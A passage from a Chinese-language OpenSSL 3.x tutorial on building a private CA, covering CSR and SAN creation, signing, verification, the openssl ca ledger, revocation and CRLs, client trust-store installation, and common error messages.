注意上面输出里的 Subject Key Identifier —— 我们没写它。 从 3.0 起 req -x509 和 x509 签发时会 自动添加 SKID 和 AKID, 这是 内置行为 ,与配置文件无关(用 -config /dev/null 排除全部配置后它们依然存在)。 老教程里手写 subjectKeyIdentifier=hash 那两行现在是多余的。

A3 生成服务端私钥 + CSR(SAN 写进 CSR)
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out app1.key
chmod 600 app1.key

openssl req -new -key app1.key -out app1.csr \
        -subj "/C=CN/ST=beijing/L=beijing/O=ops/OU=it/CN=app1.jasper.org" \
        -addext "subjectAltName=DNS:app1.jasper.org,DNS:*.jasper.org,IP:10.0.0.101,IP:127.0.0.1"
root@master01:/data/ca# openssl req -in app1.csr -noout -verify
Certificate request self-signature verify OK

root@master01:/data/ca# openssl req -in app1.csr -noout -text \
    | sed -n '/Requested Extensions/,/Signature Algorithm/p'
            Requested Extensions:
                X509v3 Subject Alternative Name:
                    DNS:app1.jasper.org, DNS:*.jasper.org, IP Address:10.0.0.101, IP Address:127.0.0.1
    Signature Algorithm: sha256WithRSAEncryption

SAN 的写法要点:

  • 要访问的每个名字都得列出来, 包括 CN 里那个 。CN 不会被自动加进 SAN
  • 通配符 *.jasper.org 只匹配一级 : a.jasper.org 匹配, a.b.jasper.org 不匹配, jasper.org 本身也不匹配 —— 所以顶级域名要单独再写一条
  • 用 IP 访问就必须写 IP: 条目,写成 DNS:10.0.0.101 是无效的
  • 私钥长度 CA 用 4096、叶子用 2048 是常见取舍:叶子证书换得勤,2048 已满足 security level 2,且握手开销小得多
A4 CA 签发

扩展由 签发方 单方面决定,写在一个独立的 ext 文件里:

cat > app1.ext <<'EOF'
basicConstraints = critical,CA:FALSE
keyUsage         = critical,digitalSignature,keyEncipherment
extendedKeyUsage = serverAuth,clientAuth
EOF

openssl x509 -req -in app1.csr -CA ca.crt -CAkey ca.key \
        -copy_extensions copy -extfile app1.ext \
        -days 397 -out app1.crt
root@master01:/data/ca# openssl x509 -req -in app1.csr -CA ca.crt -CAkey ca.key \
      -copy_extensions copy -extfile app1.ext -days 397 -out app1.crt
Certificate request self-signature ok
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=app1.jasper.org

这条命令有四个点值得说清楚:

  1. -copy_extensions copy 负责把 CSR 里的 SAN 带进证书 。 不给这个选项, x509 -req 会 无条件丢弃 CSR 里的所有扩展 ,SAN 就没了。 取值: none (默认,全丢) / copy (只补证书里还没有的) / copyall (全复制并覆盖)。
  2. -extfile 和 -copy_extensions 是互补的,不是二选一 。 copy 模式下 证书里已经有的扩展不会被 CSR 覆盖 ,所以 basicConstraints / keyUsage / EKU 由 ext 文件先定死,SAN 从 CSR 复制过来 —— 既省事又不会被申请方夺权。
  3. 安全警告 :CSR 是申请方自己生成自己签名的,里面的扩展完全由申请方控制。 开了 copy_extensions 就等于允许申请方自己声明扩展,包括 basicConstraints=CA:TRUE 。
    • 私有CA、CSR 是你自己生成的 → 用 copy 很方便,没问题
    • 接收 外部 CSR 的签发流程 → 要么不开,要么像上面一样用 -extfile 把关键扩展强制定死
  4. -days 397 不是 -days 36500 。Apple 自 iOS 13 / macOS 10.15 起拒绝有效期 >398 天的 TLS 服务端证书, 且该限制对手动导入信任库的私有CA 同样生效 , Chrome 也在持续收紧(见「实测:bilibili vs bing」的有效期一节)。 根CA 可以 10 年,叶子证书别超过 397 天。

[3.x] 不再需要 -CAcreateserial

老教程里到处都是 -CAcreateserial ,因为 1.1.1 时代不给它且 .srl 文件不存在会报错。 3.0 起改成了:没给 -CAserial 时直接生成 20 字节随机序列号,不落盘 —— 既省事,又符合 CA/B 论坛"序列号须含 >=64 位熵"的要求:

root@master01:/data/ca# openssl x509 -in app1.crt -noout -serial
serial=2D4590B4D9F66F8C06723BC68D8B64DA8BFF8FAC      # 20 字节随机,没有 .srl 文件
A5 自检(签完必做)

别只看一句 "OK"。下面这组检查才真的能暴露问题:

# 1) 关键扩展一眼看全,比 -text 刷屏强得多
openssl x509 -in app1.crt -noout \
        -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage

# 2) 链校验。必须带 -auth_level 1,默认的 level 0 会放过 md5/sha1
openssl verify -auth_level 1 -CAfile ca.crt app1.crt

# 3) 主机名 / IP 能不能真的匹配上
openssl verify -auth_level 1 -CAfile ca.crt -verify_hostname app1.jasper.org app1.crt
openssl verify -auth_level 1 -CAfile ca.crt -verify_ip 10.0.0.101 app1.crt

# 4) 严格模式,按 RFC 5280 查"CA 证书没标 critical"这类问题
openssl verify -auth_level 1 -x509_strict -CAfile ca.crt app1.crt

# 5) 确认证书和私钥是同一对(两个哈希必须相同)
openssl x509 -in app1.crt -noout -pubkey | openssl sha256
openssl pkey  -in app1.key -pubout       | openssl sha256

# 6) 有效期 / 30 天内是否到期(到期返回 1,适合放监控)
openssl x509 -in app1.crt -noout -dates
openssl x509 -in app1.crt -noout -checkend 2592000

实际输出:

root@master01:/data/ca# openssl x509 -in app1.crt -noout -serial -subject -issuer -dates
serial=2D4590B4D9F66F8C06723BC68D8B64DA8BFF8FAC
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=app1.jasper.org
issuer=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=ca.jasper.org
notBefore=Sep 27 23:32:05 2026 GMT
notAfter=Oct 29 23:32:05 2027 GMT

root@master01:/data/ca# openssl x509 -in app1.crt -noout \
      -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage
X509v3 Subject Alternative Name:
    DNS:app1.jasper.org, DNS:*.jasper.org, IP Address:10.0.0.101, IP Address:127.0.0.1
X509v3 Basic Constraints: critical
    CA:FALSE
X509v3 Key Usage: critical
    Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
    TLS Web Server Authentication, TLS Web Client Authentication

root@master01:/data/ca# openssl verify -auth_level 1 -CAfile ca.crt app1.crt
app1.crt: OK
root@master01:/data/ca# openssl verify -auth_level 1 -CAfile ca.crt \
      -verify_hostname app1.jasper.org app1.crt
app1.crt: OK
root@master01:/data/ca# openssl verify -auth_level 1 -CAfile ca.crt -verify_ip 10.0.0.101 app1.crt
app1.crt: OK
root@master01:/data/ca# openssl verify -auth_level 1 -x509_strict -CAfile ca.crt app1.crt
app1.crt: OK

root@master01:/data/ca# openssl x509 -in app1.crt -noout -pubkey | openssl sha256
SHA2-256(stdin)= 3b119827b4ab5e7144651acc44778efbd8113b0372ca01135f3c60ddc5a33ad0
root@master01:/data/ca# openssl pkey -in app1.key -pubout | openssl sha256
SHA2-256(stdin)= 3b119827b4ab5e7144651acc44778efbd8113b0372ca01135f3c60ddc5a33ad0

为什么 -auth_level 1 必须加

OpenSSL 3.x 在 生成 阶段不拦截 md5/sha1,命令正常返回 0; 真正的拒绝发生在 校验 阶段,而 openssl verify 默认用 security level 0,也不报错:

openssl x509 -req -in s.csr -CA ca.crt -CAkey ca.key -days 30 -sha1 -out s1.crt
openssl verify -CAfile ca.crt s1.crt
s1.crt: OK                                    # <- 默认 level 0,看不出问题

openssl verify -auth_level 1 -CAfile ca.crt s1.crt
error 68 at 0 depth lookup: CA signature digest algorithm too weak
error s1.crt: verification failed             # <- TLS 默认就是 level 1

也就是说这种证书 openssl verify 说 OK,浏览器和任何 TLS 库都会拒绝。 安全级别含义见后文"安全级别"表格。

A6 一条命令版本(不落 CSR 文件)

批量签测试证书时,可以用 req -x509 -CA 把"生成密钥 → 生成CSR → 签发"压成一条:

openssl req -x509 -newkey rsa:2048 -noenc -keyout one.key -out one.crt \
        -CA ca.crt -CAkey ca.key -days 397 -subj "/CN=one.jasper.org" \
        -addext "basicConstraints=critical,CA:FALSE" \
        -addext "keyUsage=critical,digitalSignature,keyEncipherment" \
        -addext "extendedKeyUsage=serverAuth" \
        -addext "subjectAltName=DNS:one.jasper.org"

用这条命令务必注意: basicConstraints=critical,CA:FALSE 必须显式写 , 否则会被 cnf 里的 [v3_ca] 套成 CA:TRUE (坑3)。 它为什么在这个场景下可以用、在"签别人的 CSR"时不该用,见后文 req -x509 与 x509 -req 的专门对比。

路线B:=openssl ca= 正式私有CA(有台账)

路线A 不记录签发了什么,也就无法吊销。需要 序列号台账、签发记录、CRL 吊销 时用 openssl ca 。 代价是要维护一套目录结构和状态文件。

B1 建立 CA 目录结构
cd /data/ca
mkdir -p demoCA/{certs,crl,newcerts,private}

# CA 证书和私钥放到约定位置(沿用路线A 生成的那对)
cp ca.crt demoCA/cacert.pem
cp ca.key demoCA/private/cakey.pem
chmod 600 demoCA/private/cakey.pem

# 台账文件,不存在会直接报错
touch demoCA/index.txt          # 证书颁发索引(数据库)
echo 01 > demoCA/serial         # 下一个证书的序列号,16 进制
echo 'unique_subject = no' > demoCA/index.txt.attr    # 见下面的坑

各文件的作用:

路径 作用
demoCA/cacert.pem CA 自己的证书
demoCA/private/cakey.pem CA 私钥,权限必须 600
demoCA/index.txt 签发台账,每签一张追加一行
demoCA/index.txt.attr 台账属性,目前只有 unique_subject 一项
demoCA/serial 下一个要用的序列号(16 进制,签一张自增一)
demoCA/newcerts/ 每张签发的证书按 序列号.pem 备份一份
demoCA/crl/ 、 crlnumber 吊销列表相关,见第 4 节

坑: index.txt.attr 会覆盖 cnf 里的 unique_subject

这个文件如果不存在, openssl ca 第一次签发时会 自动创建并写入 unique_subject = yes 。 之后即使你在 cnf 里写了 unique_subject = no ,*磁盘上的 attr 文件优先* , 同一个 subject 再签第二张就会失败:

root@master01:/data/ca# cat demoCA/index.txt.attr
unique_subject = yes

root@master01:/data/ca# openssl ca -batch -config ca.cnf -in app1.csr -out x.crt
Check that the request matches the signature
Signature ok
ERROR:There is already a certificate for /C=CN/ST=beijing/O=ops/OU=it/CN=app1.jasper.org
The matching entry has the following details
Type          :Valid
Expires on    :271029233220Z
Serial Number :01
Subject Name  :/C=CN/ST=beijing/O=ops/OU=it/CN=app1.jasper.org

所以建目录时就 先手工写好 echo 'unique_subject = no' > demoCA/index.txt.attr 。 证书轮换(同一个域名重新签发)是常态,设 yes 会一直挡路。

B2 自备 CA 配置文件

不要去改 /etc/ssl/openssl.cnf (包升级会覆盖),自己写一份。 这份 cnf 同时解掉了第 1 节的坑1(绝对路径)、坑2(自定义扩展段)、坑4(不读系统 cnf 就没有 include 报错):

cat > /data/ca/ca.cnf <<'EOF'
[ ca ]
default_ca = CA_default

[ CA_default ]
dir             = /data/ca/demoCA      # 坑1:写绝对路径,不用 ./demoCA
certs           = $dir/certs
crl_dir         = $dir/crl
database        = $dir/index.txt
new_certs_dir   = $dir/newcerts
certificate     = $dir/cacert.pem
serial          = $dir/serial
crlnumber       = $dir/crlnumber
crl             = $dir/crl.pem
private_key     = $dir/private/cakey.pem

unique_subject  = no                   # 允许同一 subject 重复签发(轮换)
copy_extensions = copy                 # 允许 CSR 提供 SAN
default_days    = 397                  # 叶子证书别超 398 天
default_crl_days= 30
default_md      = sha256
preserve        = no
policy          = policy_match
name_opt        = ca_default
cert_opt        = ca_default
x509_extensions = v3_server            # 坑2:指向自己的扩展段,不用 usr_cert

[ policy_match ]
countryName            = match
stateOrProvinceName    = match
organizationName       = match
organizationalUnitName = optional
commonName             = supplied
emailAddress           = optional

[ v3_server ]
basicConstraints = critical,CA:FALSE
keyUsage         = critical,digitalSignature,keyEncipherment
extendedKeyUsage = serverAuth,clientAuth
subjectKeyIdentifier   = hash
authorityKeyIdentifier = keyid,issuer
EOF

default_md 这一项要留意:系统自带的 cnf 里现在写的是 default_md = default , 含义是"按公钥算法选默认摘要",而不是老文档说的 sha256 。 对 Ed25519 / ML-DSA / SLH-DSA 这类自带摘要的签名算法, -sha256 会被 静默忽略 。 RSA/ECDSA 场景写 sha256 是明确的;混用 PQC 算法时写 default 更准确。

B3 签发
cd /data/ca
openssl ca -batch -config ca.cnf -in app1.csr -out demoCA/certs/app1.crt -notext
root@master01:/data/ca# openssl ca -batch -config ca.cnf -in app1.csr \
      -out demoCA/certs/app1.crt -notext
Using configuration from ca.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 1 (0x1)
        Validity
            Not Before: Sep 27 23:40:20 2026 GMT
            Not After : Oct 29 23:40:20 2027 GMT
        Subject:
            countryName               = CN
            stateOrProvinceName       = beijing
            organizationName          = ops
            organizationalUnitName    = it
            commonName                = app1.jasper.org
        X509v3 extensions:
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Subject Key Identifier:
                7E:2E:11:DF:11:35:34:E4:37:12:E9:88:F2:96:9B:51:44:D5:AE:11
            X509v3 Authority Key Identifier:
                7C:DE:E9:64:A7:6D:60:A0:15:C8:52:0C:DF:C3:71:DF:D2:E5:88:B0
            X509v3 Subject Alternative Name:
                DNS:app1.jasper.org, DNS:*.jasper.org, IP Address:10.0.0.101, IP Address:127.0.0.1
Certificate is to be certified until Oct 29 23:40:20 2027 GMT (397 days)

Write out database with 1 new entries
Database updated

注意 Subject 里 localityName (L) 没有出现 —— 这不是 bug,是 [policy_match] 的效果: 该段没有列出 localityName ,未列出的字段会被 丢弃 。 需要保留 L,在 [policy_match] 里加一行 localityName = optional 。

选项说明:

  • -batch :非交互,不做"是否签署 / 是否提交"两次询问。脚本里必加
  • -notext :不把人类可读的文本一起写进 .crt 文件(默认会写,文件会很乱)
  • -config ca.cnf :用自己的配置,顺带消掉坑4 的两行 include 报错

自检(和路线A 完全一样):

root@master01:/data/ca# openssl x509 -in demoCA/certs/app1.crt -noout \
      -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage
X509v3 Basic Constraints: critical
    CA:FALSE
X509v3 Key Usage: critical
    Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
    TLS Web Server Authentication, TLS Web Client Authentication
X509v3 Subject Alternative Name:
    DNS:app1.jasper.org, DNS:*.jasper.org, IP Address:10.0.0.101, IP Address:127.0.0.1

root@master01:/data/ca# openssl verify -auth_level 1 -CAfile ca.crt \
      -verify_hostname app1.jasper.org demoCA/certs/app1.crt
demoCA/certs/app1.crt: OK
B4 台账长什么样
root@master01:/data/ca# cat demoCA/index.txt
V       271029234020Z           01      unknown /C=CN/ST=beijing/O=ops/OU=it/CN=app1.jasper.org
#          ^             ^     ^         ^
#          |             |     |         └─ 主体信息(DN)
#          |             |     └─ 文件名,openssl ca 不填,固定 unknown
#          |             └─ 证书序列号(16进制)
#          └─ 到期时间 UTC,271029234020Z = 2027-10-29 23:40:20
# 行首的状态: V=Valid 有效  R=Revoked 已吊销  E=Expired 已过期

root@master01:/data/ca# cat demoCA/serial          # 下一个要颁发的编号
02
root@master01:/data/ca# cat demoCA/serial.old      # 上一次用掉的
01
root@master01:/data/ca# ls demoCA/newcerts/
01.pem                                             # 内容与 certs/app1.crt 相同

root@master01:/data/ca# openssl x509 -in demoCA/certs/app1.crt -noout -serial
serial=01                                          # <- 来自台账,不是随机值

对比路线A:路线A 的序列号是 20 字节随机(2D4590B4...),路线B 是台账自增(01)。 台账自增的序列号熵不足 64 位,不符合 CA/B 论坛要求 —— 私有 CA 无所谓,但如果哪天要对接公共信任体系,用 rand_serial = yes 改成随机序列号。

查某张证书的状态:

root@master01:/data/ca# openssl ca -config ca.cnf -status 01
Using configuration from ca.cnf
01=Valid (V)
B5 把文件发给使用方
root@master01:/data/ca# mkdir -p /data/app1
root@master01:/data/ca# install -m 644 demoCA/certs/app1.crt ca.crt /data/app1/
root@master01:/data/ca# install -m 600 app1.key /data/app1/
root@master01:/data/ca# ls -l /data/app1/
-rw-r--r-- 1 root root 1765 Sep 28 07:39 app1.crt      # 证书,可以公开
-rw------- 1 root root 1704 Sep 28 07:39 app1.key      # 私钥,600,绝不外传
-rw-r--r-- 1 root root 2049 Sep 28 07:39 ca.crt        # CA 证书,客户端用它验链

CSR( app1.csr )在拿到证书后就没用了,可留可删。

吊销证书与 CRL

只有路线B 能吊销 —— 路线A 没有台账,签出去就管不着了。

吊销一张证书
cd /data/ca

# 1) 先从使用方交回的证书里读出序列号和主体,与 index.txt 比对确认是同一张
openssl x509 -in demoCA/newcerts/01.pem -noout -serial -subject

# 2) 吊销。注意吊销的是 newcerts/ 下那份备份,不是 certs/ 下发出去的那份
openssl ca -config ca.cnf -revoke demoCA/newcerts/01.pem
root@master01:/data/ca# openssl x509 -in demoCA/newcerts/01.pem -noout -serial -subject
serial=01
subject=C=CN, ST=beijing, O=ops, OU=it, CN=app1.jasper.org

root@master01:/data/ca# openssl ca -config ca.cnf -revoke demoCA/newcerts/01.pem
Using configuration from ca.cnf
Revoking Certificate 01.
Database updated

root@master01:/data/ca# openssl ca -config ca.cnf -status 01
Using configuration from ca.cnf
01=Revoked (R)

root@master01:/data/ca# cat demoCA/index.txt
R       271029234020Z   260927234020Z   01      unknown /C=CN/ST=beijing/O=ops/OU=it/CN=app1.jasper.org
# ^                  ^
# └─ 状态变 R         └─ 吊销时间,这一列原来是空的

吊销时可以带原因,会写进 CRL 供客户端区分处理:

openssl ca -config ca.cnf -revoke demoCA/newcerts/01.pem \
        -crl_reason keyCompromise
# 可选值:unspecified / keyCompromise / CACompromise / affiliationChanged
#         superseded / cessationOfOperation / certificateHold / removeFromCRL
# 私钥泄露用 keyCompromise,证书轮换用 superseded
生成 / 更新 CRL

吊销只改了 CA 本地的 index.txt ,客户端并不知道。要让外界知道,得发布 CRL:

# 第一次发布 CRL 前需要初始化 crlnumber。这个编号和 index.txt 的序列号没关系
echo 01 > /data/ca/demoCA/crlnumber

# 生成 / 更新吊销列表,放到 HTTP 服务上让客户端能下载
openssl ca -config ca.cnf -gencrl -out demoCA/crl.pem

# 查看
openssl crl -in demoCA/crl.pem -noout -text
root@master01:/data/ca# openssl crl -in demoCA/crl.pem -noout -text
Certificate Revocation List (CRL):
        Version 2 (0x1)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=ca.jasper.org
        Last Update: Sep 27 23:40:20 2026 GMT
        Next Update: Oct 27 23:40:20 2026 GMT
        CRL extensions:
            X509v3 CRL Number:
                1
Revoked Certificates:
    Serial Number: 01
        Revocation Date: Sep 27 23:40:20 2026 GMT
    Signature Algorithm: sha256WithRSAEncryption

Next Update 由 default_crl_days 决定(这份 cnf 里是 30 天)。 CRL 过期后多数客户端会当作校验失败 ,所以 CRL 必须定期重新生成, 即使期间没有新的吊销 —— 通常挂个 cron 每周跑一次。

让客户端真的去查 CRL

光生成 CRL 没用,还得让客户端拿得到、并且知道去哪儿拿:

# 1) 签发时在证书里写上 CRL 的下载地址(否则客户端不知道去哪找)
#    加到路线A 的 app1.ext 或路线B 的 [v3_server] 段里:
crlDistributionPoints = URI:http://pki.jasper.org/crl.pem

# 2) 校验时显式打开 CRL 检查。openssl verify 默认是不查 CRL 的
openssl verify -auth_level 1 -crl_check \
        -CAfile ca.crt -CRLfile demoCA/crl.pem app1.crt
# 已吊销的证书会这样报:
root@master01:/data/ca# openssl verify -auth_level 1 -crl_check \
      -CAfile ca.crt -CRLfile demoCA/crl.pem demoCA/certs/app1.crt
C=CN, ST=beijing, O=ops, OU=it, CN=app1.jasper.org
error 23 at 0 depth lookup: certificate revoked
error demoCA/certs/app1.crt: verification failed

# 加了 -crl_check 但没给 CRL 文件,会报这个(不是"证书有效"的意思):
root@master01:/data/ca# openssl verify -auth_level 1 -crl_check \
      -CAfile ca.crt demoCA/certs/app1.crt
C=CN, ST=beijing, O=ops, OU=it, CN=app1.jasper.org
error 3 at 0 depth lookup: unable to get certificate CRL
error demoCA/certs/app1.crt: verification failed

-crl_check 只查叶子证书, -crl_check_all 查整条链。 实际工程中 CRL 越来越少用(文件会无限增长),公共 CA 已转向 OCSP 和短有效期证书; 私有 CA 最省事的"吊销"其实是把叶子证书有效期压到 90 天以内,让它自然过期 。

让 Ubuntu / curl / 浏览器信任私有CA

证书签好了只是一半,客户端不认还是会报错。 不同的客户端用的是完全不同的信任库 ,这是最容易卡住的地方。

Ubuntu 系统信任库(影响 curl / wget / git / nginx 等)
# 1) 文件名必须以 .crt 结尾,必须是 PEM 格式,放到这个目录
cp /data/ca/ca.crt /usr/local/share/ca-certificates/jasper-internal-ca.crt

# 2) 刷新
update-ca-certificates
root@master01:/data/ca# update-ca-certificates
Updating certificates in /etc/ssl/certs...
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.

root@master01:/data/ca# ls -l /etc/ssl/certs/ | grep -i jasper
lrwxrwxrwx 1 root root 22 Sep 28 07:32 cae5cd25.0 -> jasper-internal-ca.pem
lrwxrwxrwx 1 root root 55 Sep 28 07:32 jasper-internal-ca.pem -> /usr/local/share/ca-certificates/jasper-internal-ca.crt

cae5cd25.0 是 subject hash 软链,OpenSSL 按这个哈希查找 CA,由 c_rehash 生成。

实测验证 —— 起一个 TLS server,用 curl *不加 -k * 访问:

root@master01:/data/ca# echo "127.0.0.1 app1.jasper.org" >> /etc/hosts
root@master01:/data/ca# openssl s_server -cert app1.crt -key app1.key -accept 4433 -www &

root@master01:/data/ca# curl -sS -o /dev/null \
      -w "rc=%{http_code} ssl_verify_result=%{ssl_verify_result}\n" \
      https://app1.jasper.org:4433/
rc=200 ssl_verify_result=0

ssl_verify_result=0 就是校验通过。这一步跑通,说明 SAN 和信任链两边都对了 。

要移除:删掉 /usr/local/share/ca-certificates/ 下的文件,再跑一次 update-ca-certificates --fresh 。

各客户端的信任库对照
客户端 信任库位置 / 做法
Ubuntu 系统 / curl / wget /usr/local/share/ca-certificates/*.crt + update-ca-certificates
RedHat 系 /etc/pki/ca-trust/source/anchors/ + update-ca-trust extract
单次 curl(不改系统) curl --cacert /data/ca/ca.crt https://...
Python requests REQUESTS_CA_BUNDLE=/data/ca/ca.crt ,或 verify'/data/ca/ca.crt'=
Python ssl 标准库 跟随系统库;或 ctx.load_verify_locations('/data/ca/ca.crt')
Node.js NODE_EXTRA_CA_CERTS=/data/ca/ca.crt (进程启动时读一次)
Go 跟随系统库(Linux 上读 /etc/ssl/certs/ );或代码里自建 CertPool
Java keytool -importcert -trustcacerts -cacerts -alias jasper-ca -file ca.crt
Git git config --global http.sslCAInfo /data/ca/ca.crt
Docker daemon /etc/docker/certs.d/<registry>:<port>/ca.crt 后重启 docker
Firefox 自带独立信任库 ,不读系统库。设置 → 隐私与安全 → 证书 → 导入
Chrome (Linux) certutil -d sql:$HOME/.pki/nssdb -A -t "C,," -n jasper-ca -i ca.crt
Chrome / Edge (Win) 双击 ca.crt → 安装到"受信任的根证书颁发机构"
macOS security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain ca.crt

两个常踩的点:

  • Firefox 永远不读系统信任库 ,Linux 上 curl 好了 Firefox 还是红的,就是这个原因
  • 把根证书导入信任库后, 它签发的所有下级证书自动被信任 ,不需要逐张导入
Windows 上查看证书

把 ca.crt 传到 Windows(文件名后缀保持 .crt ),双击即可查看和安装。 CRL 文件同理,把 crl.pem 改名成 crl.crl 双击可以看到吊销列表内容。

两条路线怎么选 + 常见报错对照

选哪条
场景 用什么
内网服务 / K8s 组件 / 测试环境,签完就用 路线A ( x509 -req )
CI 里批量签、不想留状态文件 路线A,或 A6 一条命令版
需要知道"到底签过哪些证书" 路线B ( openssl ca )
需要吊销 / 发布 CRL 路线B
要给外部申请方签 CSR 路线B,且 关掉 copy_extensions
自签一张根CA / 无 CSR 的测试证书 req -x509

三个命令的分工:

命令 读 openssl.cnf 维护台账 适合
openssl req -x509 读 否 自签根CA、一步出测试证书
openssl x509 -req 不读 否 签 CSR(路线A),行为最可预测
openssl ca 读 是 正式私有CA(路线B)

x509 不读配置文件这一点很重要: 同一条 x509 -req 命令在任何机器上行为一致 , 而 req -x509 的结果取决于当前机器 openssl.cnf 的内容, 开发机和 CI 容器里可能签出不同的证书,且没有任何提示。

常见报错对照
报错 / 现象 成因
浏览器 ERR_CERT_COMMON_NAME_INVALID 缺 SAN(坑2)。注意 curl/openssl 不报错,别被骗
error 24: invalid CA certificate 某一级的 basicConstraints 不是 CA:TRUE
error 20: unable to get local issuer certificate 链不完整,中间CA 没发给客户端。用 -untrusted 或把中间证书拼进链文件
error 68: CA signature digest algorithm too weak 用了 md5/sha1 签名
error 62: hostname mismatch SAN(或 CN)里没有你访问的那个名字
error 23: certificate revoked 证书已吊销
error 3: unable to get certificate CRL 开了 -crl_check 但没提供 CRL 文件
error 10: certificate has expired 过期;或有效期 >398 天被 Apple 平台判定不可用
签出来的叶子证书是 CA:TRUE 用了 req -x509 但没显式覆盖 basicConstraints(坑3)
扩展"明明写了"却没进证书 x509 -req 默认丢弃 CSR 扩展(要加 -copy_extensions );或 -extfile 路径写错
ERROR:There is already a certificate for ... index.txt.attr 里 unique_subject = yes (B1 的坑)
...field is different between CA certificate and the request policy_match 要求 C/ST/O 与 CA 一致
process_include:No such file or directory Ubuntu 26.04 cnf 末尾的两行 .include ,无害(坑4)
unsupported / error:0308010C 算法在 legacy provider 里,需 -provider legacy -provider default

最阴险的一条 : -extfile 指向一个不存在的路径时,OpenSSL 不报错 , 只会静默生成一张没有任何扩展的证书。所以签发后一定要用 -ext 回查一遍:

openssl x509 -in app1.crt -noout -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage
其他发行版的快捷方式

RedHat 系的 /etc/pki/tls/certs/Makefile 提供过 make server.crt 这类快捷目标, CentOS 7 上很常见。 Ubuntu 没有这个文件 ,而且它生成的是无 SAN 的测试证书, 现代客户端一样不认 —— 直接用本节路线A 即可,不要去找这个 Makefile 的等价物。

Debian/Ubuntu 自带的 /usr/lib/ssl/misc/CA.pl 是 openssl ca 的一层 Perl 封装, 同样不处理 SAN,不推荐使用。

OpenSSL 3.x 行为变更速查

本文余下内容中凡标注 [3.x] 的地方,都是相对 1.1.1 时代发生过行为变化的点。 先看这张表可以避免照着老教程操作时踩坑。

主题 1.1.1 时代的写法/行为 3.x(含 3.5)的现状
RANDFILE 配置文件里要写随机数种子文件 *已废弃且不再读取*,官方 openssl.cnf 已删除该项,直接用 OS 熵源
oid_file 外部 OID 文件 已废弃,只用 oid_section
-nodes 不加密私钥 改名为 -noenc ,=-nodes= 仍可用但标记为 deprecated
私钥加密算法 req 默认用 des-ede3-cbc (3DES) [3.5] 默认改为 aes-256-cbc
生成密钥 genrsa / ecparam -genkey 统一用 genpkey ,一个命令覆盖 RSA/EC/Ed25519/ML-DSA
SKID / AKID 要在扩展段里手写 req -x509 与 x509 签发时 自动添加 ,无需手写
序列号 必须 -CAcreateserial 否则报错 不给 -CAserial 时 自动生成 20 字节随机序列号 ,该选项已非必需
CSR 扩展带入证书 只能靠 -extfile 或 ca 的配置项 x509 / req -x509 直接支持 -copy_extensions
用 CSR 签发证书 必须 openssl x509 -req -CA ... req -x509 -CA 也能签,但 仍推荐 x509 -req ,原因见专门一节
证书起止时间 只有 -startdate / -enddate (ca) [3.4] req / x509 / ca 统一支持 -not_before / -not_after
算法来源 ENGINE provider 架构,老算法需 -provider legacy
后量子 无 [3.5] 原生 ML-KEM / ML-DSA / SLH-DSA,可直接签发 PQC 证书
TLS 默认密钥交换组 X25519:P-256:… [3.5] 默认首选混合后量子组 X25519MLKEM768
nsCertType 等 Netscape 扩展 早已废弃,现代客户端完全忽略,新证书不要再写

3.5 是 LTS 版本 (2025-04-08 发布,支持到 2030-04-08),是目前写脚本应该对齐的基线。

3.6(2025-10-01)在其上又加了 LMS 签名验签、 openssl configutl 等,见「openssl 证书命令详解」的「[3.6] 相比 3.5 的增量」。

查看当前环境到底支持什么:

openssl version -a                      # 版本 + 编译参数 + OPENSSLDIR
openssl version -d                      # 配置文件目录,openssl.cnf 就在这里
openssl list -providers                 # 当前加载了哪些 provider
openssl list -signature-algorithms      # 能用于证书签名的算法(含 ML-DSA/SLH-DSA)
openssl list -kem-algorithms            # KEM 算法(含 ML-KEM)
openssl list -public-key-algorithms
openssl list -digest-commands

openssl.cnf 配置文件详解

文件的默认位置

  • RedHat系 /etc/pki/tls/openssl.cnf
  • Debian系 /etc/ssl/openssl.cnf /usr/lib/ssl/openssl.cnf

最新版本 https://github.com/openssl/openssl/blob/master/apps/openssl.cnf

语法

变量 = 值

  1. 字符串值最好使用双引号界定,并且其中可以使用"\n","\r","\t","\\"这些转义序列。
  2. 可以使用 ${变量名} 的形式引用同一字段中的变量,使用 ${字段名::变量名} 的形式引用其它字段中的变量。
  3. 可以使用 ${ENV::环境变量} 的形式引用操作系统中定义的环境变量,若变量不存在则会导致错误。
  4. 可以在默认字段定义与操作系统环境变量同名的变量作为默认值来避免环境变量不存在导致的错误。
  5. 如果在同一字段内有多个相同名称的变量,那么后面的值将覆盖前面的值。
  6. 可以通过 ".include = 绝对路径" 语法或 OPENSSL_CONF_INCLUDE 环境变量引入其他配置文件(*.cnf)。

配置文件分为多个部分。每个部分以方括号中的部分名称开始,并在新部分开始时或文件末尾结束。部分名称可以由字母数字字符和下划线组成。名称和方括号之间的空格将被删除。

配置文件的第一个部分比较特殊,称为默认部分。此部分通常未命名,从文件开头一直到第一个命名部分。

[ section ]
name1 = This is value1
name2 = Another value
...
[ newsection ]
name1 = New value1
name3 = Value 3
# This is the default section.
HOME = /temp
configdir = $ENV::HOME/config

[ section_one ]
# Quotes permit leading and trailing whitespace
any = " any variable name "
other = A string that can \
cover several lines \
by including \\ characters
message = Hello World\n

[ section_two ]
greeting = $section_one::message
mkdir ca
cd ca
mkdir certs newcerts private conf server crl

vim conf/openssl.cnf

默认字段

#[ default ]
# 此部分是默认字段,必须放在所有字段之前。小节头"[default]"是可选的。
# 读取配置文件时,会首先根据字段名称去寻找相应的配置段,如果没有找到则会使用这里的默认字段。

